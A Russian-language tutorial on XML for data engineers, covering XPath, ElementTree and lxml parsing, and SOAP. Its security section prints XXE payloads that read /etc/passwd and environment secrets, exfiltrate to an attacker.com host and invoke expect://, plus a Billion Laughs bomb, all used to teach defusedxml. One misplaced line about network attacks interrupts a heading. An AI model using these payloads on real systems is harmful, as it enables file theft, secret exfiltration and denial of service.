XML: legacy формат, который не уйдёт
XML кажется устаревшим — JSON выиграл войну форматов в API. Но junior data engineer всё равно столкнётся с XML регулярно: legacy SOAP API, экспорты из enterprise-систем (SAP, 1C, Oracle), RSS/Atom feeds, OpenAPI 2.0 определения, XBRL для финансовой отчётности, конфиги старых Java/Maven систем. Игнорировать XML нельзя.
В этом уроке — структура XML, отличия от JSON, namespaces, XPath для запросов, парсинг через ElementTree и lxml, и критическая security-проблема XXE атак.
Структура XML
XML — markup-язык. Документ состоит из вложенных элементов с тегами:
<?xml version="1.0" encoding="UTF-8"?>
<users>
<user id="1" status="active">
<name>Alice</name>
<email>[email protected]</email>
<hobbies>
<hobby>reading</hobby>
<hobby>hiking</hobby>
</hobbies>
</user>
<user id="2" status="inactive">
<name>Bob</name>
<email>[email protected]</email>
</user>
</users>
Ключевые концепции:
Сравните с JSON: тот же users массив на JSON весит примерно 200 байт, на XML — 400 байт. Verbose. Но XML даёт то, чего нет в JSON: атрибуты, namespaces, comments, schema validation (XSD), transformations (XSLT), queries (XPath).
Elements vs Attributes
В XML одни и те же данные можно представить двумя способами: как вложенные элементы или как атрибуты.
<!-- Стиль 1: всё через элементы -->
<user>
<id>1</id>
<name>Alice</name>
<email>[email protected]</email>
</user>
<!-- Стиль 2: всё через атрибуты -->
<user id="1" name="Alice" email="[email protected]" />
<!-- Стиль 3: смешанный (типично) -->
<user id="1">
<name>Alice</name>
<email>[email protected]</email>
</user>
Соглашение по индустрии:
- Атрибуты: для metadata, identifiers, типов, режимов. Атрибут — это «свойство элемента». Не может содержать вложенную структуру.
- Элементы: для основных данных, особенно если возможны множественные значения или вложенные структуры.
Атрибут не может повторяться (атрибут с уникальным именем) и не имеет порядка. Элементы могут повторяться и упорядочены.
Namespaces
Когда XML собран из нескольких источников, конфликты имён неизбежны. У SOAP есть <Body>, у вашего приложения тоже может быть <Body>. Namespaces решают это, добавляя URI-префиксы.
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:m="http://example.com/myapp">
<soap:Header>
<m:RequestID>abc123</m:RequestID>
</soap:Header>
<soap:Body>
<m:GetUser>
<m:UserId>42</m:UserId>
</m:GetUser>
</soap:Body>
</soap:Envelope>
xmlns:soap="..." объявляет namespace soap, ассоциированный с URI. URI — просто identifier, не URL для скачивания. Префикс soap: теперь можно использовать перед именем элемента (soap:Envelope).
Namespaces важны при парсинге — нужно учитывать префиксы.
XPath: queries по XML
XPath — мини-язык для навигации по XML. Похоже на путь в файловой системе, но с powerful predicates.
/users/user -- все user элементы (прямые потомки users)
//user -- все user элементы (на любой глубине)
/users/user[@id="1"] -- user с атрибутом id="1"
/users/user/name -- name внутри user
//user[name="Alice"] -- user, у которого есть name="Alice"
//user[@status="active"]/email -- email активных юзеров
//user[position()=1] -- первый user
//user[last()] -- последний user
//hobby[text()="hiking"]/.. -- родитель hobby с text="hiking"
count(//user) -- количество users
XPath используется в:
- Парсинге XML (lxml поддерживает полный XPath 1.0; для XPath 2.0/3.0 — нужны другие либы).
- XSLT (transformations).
- Selenium (web automation, селекторы).
- Schematron (валидация структуры).
Парсинг в Python: ElementTree (stdlib)
Stdlib xml.etree.ElementTree — базовый XML-парсер. Простой, но ограничен (XPath 1.0 subset, без validation).
import xml.etree.ElementTree as ET
xml_data = """
<users>
<user id="1" status="active">
<name>Alice</name>
<email>[email protected]</email>
</user>
<user id="2" status="inactive">
<name>Bob</name>
<email>[email protected]</email>
</user>
</users>
"""
# Из строки
root = ET.fromstring(xml_data)
# Из файла
tree = ET.parse("users.xml")
root = tree.getroot()
# Итерация по элементам
for user in root.findall('user'):
user_id = user.get('id') # атрибут
status = user.get('status')
name = user.find('name').text # элемент -> text
email = user.find('email').text
print(f"{user_id}: {name} ({email}) -- {status}")
# XPath subset
active_users = root.findall(".//user[@status='active']")
for u in active_users:
print(u.find('name').text)
# Создание XML
new_root = ET.Element('users')
user = ET.SubElement(new_root, 'user', id='3', status='active')
name = ET.SubElement(user, 'name')
name.text = 'Carol'
ET.dump(new_root)
# <users><user id="3" status="active"><name>Carol</name></user></users>
ElementTree XPath subset не поддерживает: position(), last(), multiple axes, functions кроме text() и normalize-space().
lxml: быстрее и мощнее
lxml — библиотека на C (libxml2). Быстрее ElementTree в 5-20 раз, поддерживает полный XPath 1.0, XSLT, валидацию через XSD/RelaxNG/Schematron.
# pip install lxml
from lxml import etree
# Парсинг
tree = etree.parse("users.xml")
root = tree.getroot()
# Полный XPath
active_users = root.xpath("//user[@status='active']")
for u in active_users:
print(u.find('name').text)
# Сложные выражения
all_emails = root.xpath("//user[@status='active']/email/text()")
print(all_emails) # ['[email protected]']
# Namespaces
xml_with_ns = """
<root xmlns:x="http://example.com">
<x:item>foo</x:item>
</root>
"""
root = etree.fromstring(xml_with_ns)
items = root.xpath("//x:item", namespaces={'x': 'http://example.com'})
print(items[0].text) # foo
# Pretty print
print(etree.tostring(root, pretty_print=True, encoding='unicode'))
# Валидация по XSD
schema_text = """<?xml version="1.0"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
<xs:element name="user">
<xs:complexType>
<xs:sequence>
<xs:element name="name" type="xs:string"/>
<xs:element name="age" type="xs:int"/>
</xs:sequence>
</xs:complexType>
</xs:element>
</xs:schema>"""
schema = etree.XMLSchema(etree.fromstring(schema_text))
parser = etree.XMLParser(schema=schema)
# При парсинге документа, не соответствующего схеме, выбросит exception
Когда выбирать lxml:
- Большие XML-файлы (>1 МБ).
- Сложные XPath-запросы.
- Нужна валидация схемы.
- Нужны XSLT-трансформации.
- Production-grade обработка XML.
XXE: критическая уязвимость
XML External Entity (XXE) — атака, в которой атакующий через специально crafted XML заставляет парсер прочитать файлы с диска или сделать сетевые запросы.
XML поддерживает entities — переменные внутри XML. Можно объявить entity и ссылаться на неё:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY hello "Hello World">
]>
<root>&hello;</root>
<!-- После парсинга: <root>Hello World</root> -->
External entity — entity, которая загружается извне:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
<!-- Парсер с поддержкой XXE прочитает /etc/passwd и вставит содержимое -->
Если ваш сервис парсит XML от внешних источников и выводит результат, атакующий может прочитать любой файл, доступный процессу. Variations:
<!ENTITY xxe SYSTEM "http://attacker.com/data"> <!-- exfiltration через HTTP -->
<!ENTITY xxe SYSTEM "file:///proc/self/environ"> <!-- env vars / secrets -->
<!ENTITY xxe SYSTEM "expect://id"> <!-- RCE через expect:// (на php) -->
Python ElementTree и lxml по умолчанию уязвимы к XXE (хотя в новых версиях lxml безопаснее). Решение — defusedxml.
# pip install defusedxml
import defusedxml.ElementTree as ET
# или
from defusedxml.lxml import fromstring
# defusedxml блокирует:
# - External entities (XXE)
# - DTD-based attacks (Billion Laughs, quadratic blowup)
# - Network access during parsing
# Использование -- drop-in replacement
tree = ET.parse("untrusted.xml")
root = tree.getroot()
ВСЕГДА используйте defusedxml при парсинге XML из внешних источников (uploads, API responses, webhook payloads). Stdlib ElementTree и lxml безопасны только для XML, который вы 100% контролируете. defusedxml — drop-in replacement, нет причин не использовать.
Кроме XXE есть атака Billion Laughs:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
...
]>
<lolz>&lol9;</lolz>
Через 9 уровней вложенности получаем 10^9 повторений строки lol — гигабайты памяти. Парсер OOM. defusedxml блокирует.
Где DE встретит XML
Типичные сетевые атаки: MITM, ARP poisoning, DNS spoofingПример SOAP-запроса:
import requests
soap_envelope = """<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:m="http://example.com/users">
<soap:Body>
<m:GetUser>
<m:UserId>42</m:UserId>
</m:GetUser>
</soap:Body>
</soap:Envelope>
"""
response = requests.post(
"http://soap-api.example.com/users",
data=soap_envelope,
headers={
"Content-Type": "text/xml; charset=utf-8",
"SOAPAction": "http://example.com/users/GetUser",
},
)
# Парсинг ответа (с защитой от XXE!)
from defusedxml import ElementTree as ET
root = ET.fromstring(response.content)
ns = {'soap': 'http://schemas.xmlsoap.org/soap/envelope/',
'm': 'http://example.com/users'}
user_name = root.find(".//m:Name", ns).text
print(user_name)
В реальности — проще через zeep (SOAP-клиент с автогенерацией из WSDL):
# pip install zeep
from zeep import Client
client = Client("http://soap-api.example.com/users?wsdl")
result = client.service.GetUser(UserId=42)
print(result.Name)
Подводные камни
Whitespace-чувствительность. XML сохраняет whitespace внутри элементов. <a> text </a> — text text с пробелами. parser обычно не нормализует — нужно .strip().
Mixed content. Элемент может содержать и текст, и вложенные элементы: <p>Hello <b>world</b>!</p>. ElementTree парсит как: text='Hello ', tail='!' у <b>. Запутывает.
Encoding declaration vs реальный encoding. Файл может декларировать <?xml encoding="UTF-8"?>, но содержать cp1251. Парсер упадёт с UnicodeDecodeError. Проверять реальный encoding отдельно.
Namespaces в XPath. Если XML использует namespaces, в XPath нужно их явно передать. Без этого //user не найдёт <m:user>.
Attribute order не гарантирован. При парсинге и re-serialize порядок атрибутов может измениться. Не полагайтесь на него.
Попробуй сам
import xml.etree.ElementTree as ET
from defusedxml import ElementTree as DefusedET
# 1. Создать XML
root = ET.Element('users')
for i, name in enumerate(['Alice', 'Bob'], 1):
user = ET.SubElement(root, 'user', id=str(i))
name_el = ET.SubElement(user, 'name')
name_el.text = name
ET.indent(root) # Pretty-print (Python 3.9+)
xml_str = ET.tostring(root, encoding='unicode')
print(xml_str)
# 2. Парсинг и навигация
xml_data = """
<library>
<book id="1" available="true">
<title>The Hobbit</title>
<author>Tolkien</author>
<year>1937</year>
</book>
<book id="2" available="false">
<title>1984</title>
<author>Orwell</author>
<year>1949</year>
</book>
</library>
"""
root = ET.fromstring(xml_data)
for book in root.findall(".//book[@available='true']"):
print(book.find('title').text, book.get('id'))
# 3. lxml для XPath
from lxml import etree
root = etree.fromstring(xml_data)
titles = root.xpath("//book[year < 1940]/title/text()")
print(titles) # ['The Hobbit']
# 4. ОПАСНО: попробовать XXE на defusedxml
xxe_payload = '''<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<root>&xxe;</root>'''
# С stdlib ElementTree это может прочитать файл (зависит от версии)
# С defusedxml -- заблокировано
try:
DefusedET.fromstring(xxe_payload)
except Exception as e:
print(f"defusedxml blocked: {type(e).__name__}: {e}")
# 5. Namespaces
soap_xml = """<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<hello>World</hello>
</soap:Body>
</soap:Envelope>"""
root = ET.fromstring(soap_xml)
ns = {'soap': 'http://schemas.xmlsoap.org/soap/envelope/'}
body = root.find('soap:Body', ns)
hello = body.find('hello')
print(hello.text) # World